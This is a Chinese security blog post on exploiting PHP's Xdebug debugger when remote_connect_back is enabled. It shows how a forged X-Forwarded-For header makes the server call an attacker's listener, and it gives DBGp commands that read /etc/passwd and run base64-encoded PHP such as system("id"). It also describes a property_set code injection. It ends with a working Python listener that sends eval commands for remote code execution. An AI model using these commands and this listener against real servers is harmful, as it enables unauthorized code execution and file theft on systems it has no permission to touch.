标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-1381] 作者: ecawen 发表于: [2018-03-11] [2018-03-11]被用户:ecawen 修改过
本文共 [571] 位读者顶过
Xdebug 是一个 PHP 的调试工具,支持在本地通过源码远程调试服务器上的 PHP 代码。Xdebug 功能强大,最近关于其配置的文章也层出不穷,很早之前就萌生了挖掘 Xdebug 攻击面的想法,终于在今天这个适合划水的日子去做了。 Xdebug 调试 PHP 的主要流程为:
Xdebug 支持的协议有 dbgp,具体的规范文档在:https://xdebug.org/docs-dbgp.php。 Xdebug 的配置比较简单,大体步骤为:
攻击面所需要的环境中, xdebug.ini 内容为: xdebug.remote_connect_back = 1 xdebug.remote_enable = 1 xdebug.remote_log = /tmp/test.log
在中国大内网的环境下,一般情况都会去配置 xdebug.remote_connect_back,参见 百度关于 xdebug.remote_connect_back 的搜索结果,而我们的攻击面也是建立在这条配置上的。[出自:jiwo.org]
xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。 Xdebug 的网络交互也十分简单,客户端回向服务端发送 XML 数据,服务端会向客户端发送类似于 gdb 的 command。每次交互的数据以 \x00 作为 EOL。 0x02 Read The Manaul通过阅读 DBGp 的文档,我们可以注意到一些比较敏感的命令。
source 可以读取文件内容,eval is the eval。 1. sourcesource -i transaction_id -f fileURI transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir。 利用方式: source -i 1 -f file:///etc/passwd 另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。 2. evaleval -i transaction_id -- {DATA} {DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");): eval -i 1 -- c3lzdGVtKCJpZCIpOw== 3. interactXdebug 没有实现这个,放弃吧。 4. property_set
根据 Xdebug 对于 dbgp 的实现,property_set 是存在一个代码注入的。 /* Do the eval */ eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value); res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC); 利用方式: property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== property_get -n $a -i 1 -c 1 -p 0 0x03 Detect Xdebug & Exploit
说了这么多,怎么知道对方是否开了 Xdebug 并且可利用?很简单,一个 cURL 就可以了。 那么,怎么方便的利用呢? #!/usr/bin/python2 import socket ip_port = ('0.0.0.0',9000) sk = socket.socket() sk.bind(ip_port) sk.listen(10) conn, addr = sk.accept() while True: client_data = conn.recv(1024) print(client_data) data = raw_input('>> ') conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64')) 储存为 xdebug_exp.py,然后:
|